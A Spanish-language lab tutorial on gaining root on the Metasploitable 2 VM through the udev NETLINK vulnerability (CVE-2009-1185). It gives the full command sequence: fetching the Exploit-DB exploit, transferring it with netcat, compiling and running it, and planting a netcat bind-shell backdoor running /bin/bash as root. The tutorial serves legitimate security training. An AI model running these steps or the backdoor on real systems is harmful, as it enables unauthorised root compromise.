Elevar Privilegios Explotando Vulnerabilidad de udev en Metasploitable 2
El escalado o elevación de privilegios es una tarea amplia, esto a razón de la diversidad de aproximaciones factibles de ser utilizadas para obtener acceso como usuario Administrador o root. Una de las tácticas para elevar privilegios implica buscar por vulnerabilidades adicionales en el sistema desde una perspectiva interna. Esto implica cualquier tipo de acceso al sistema, aunque este acceso tenga autorización limitada, es factible explotar vulnerabilidades.
Para el siguiente ejemplo se utilizará la Máquina Virtual de nombre “Metasploitable 2”
Se tiene acceso al objetivo de evaluación con un usuario sin privilegios de root.
$ id; whoami
La identificación de vulnerabilidades desde una perspectiva interna, puede ser realizada de manera automática utilizando un escaner de vulnerabilidades, o simplemente, listando todos los paquetes y la respectiva información sobre sus versiones, para luego buscar vulnerabilidades manualmente.
Uno de los principales objetivos de explotación es el kernel de GNU/Linux, por lo tanto se utilizará un exploit para la versión del kernel utilizado en el objetivo de evaluación.
$ uname -a
A continuación se expone la información incluida en el código del Exploit:
udev < 141 Local Privilege Escalation Exploit
Versiones anteriores de udev 1.4.1 no verifican si un mensaje NETLINK se origina desde el espacio del kernel, lo cual permite a usuarios locales ganar privilegios enviando mensajes NETLINK desde el espacio de usuario.
Para utilizar el exploit en primera instancia se debe copiar el archivo en el objetivo de evaluación. Kali Linux tiene un repositorio local de exploits de "Exploit-DB". Se procede a buscar el exploit.
# searchsploit udev
Se verifica la existencia del archivo, visualizando parte del exploit.
# head /usr/share/exploitdb/platforms/linux/local/8572.c
Se procede a copiar el archivo conteniendo el exploit hacia Metasploitable 2, utilizando netcat.
En Metasploitable 2
$ nc -n -v -w 10 -l -p 1234 > 8572.c
En Kali Linux:
# nc -n -v 192.168.0.16 1234 < /usr/share/exploitdb/platforms/linux/local/8572.c
Se compila el exploit
$ cc -o 8572 8572.c
Antes de ejecutar el exploit se requiere leer las “instrucciones” contenidas en el archivo del código.
Se debe pasar el PID (Process IDentifier) o Identificador del Proceso del socket netlink udevd (listado en /proc/net/netlink, usualmente es el PID udevd menos 1) como argv[1]. Este exploit ejecutará el archivo /tmp/run como root, aquí es donde se debe colocar el Payload o Carga Útil a ejecutar.
Se procede a crear el archivo “/tmp/run”. Para este ejemplo se utilizará netcat para abrir una “backdoor” o puerta trasera con privilegios de root.
#!/bin/bash
nc -n -l -p 4000 -e /bin/bash
Es necesario averiguar el PID de udevd
$ ps axu | grep udevd
El PID de udevd es 2705, por lo tanto se le resta 1 y se ejecuta el exploit con este parámetro.
$ ./8572 2704
Se visualiza el puerto TCP 4000 en atención. Ahora se realiza una conexión desde Kali Linux hacia este puerto de Metasploitable 2, utilizando netcat.
# nc -n -v 192.168.0.16 4000
La explotación para elevar o escalar privilegios ha sido satisfactoria, pues ya se tiene acceso como el usuario root en el sistema objetivo.
Fuentes:
http://sourceforge.net/projects/metasploitable/files/Metasploitable2/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1185
https://jon.oberheide.org/files/cve-2009-1185.c
Sobre el Autor
Alonso Eduardo Caballero Quezada - ReYDeS
Instructor y Consultor Independiente en Ciberseguridad
Correo Electrónico: ReYDeS@gmail.com
Twitter: https://twitter.com/Alonso_ReYDeS
LinkedIn: https://pe.linkedin.com/in/alonsocaballeroquezada/
Facebook: https://www.facebook.com/alonsoreydes
Youtube: https://www.youtube.com/c/AlonsoCaballero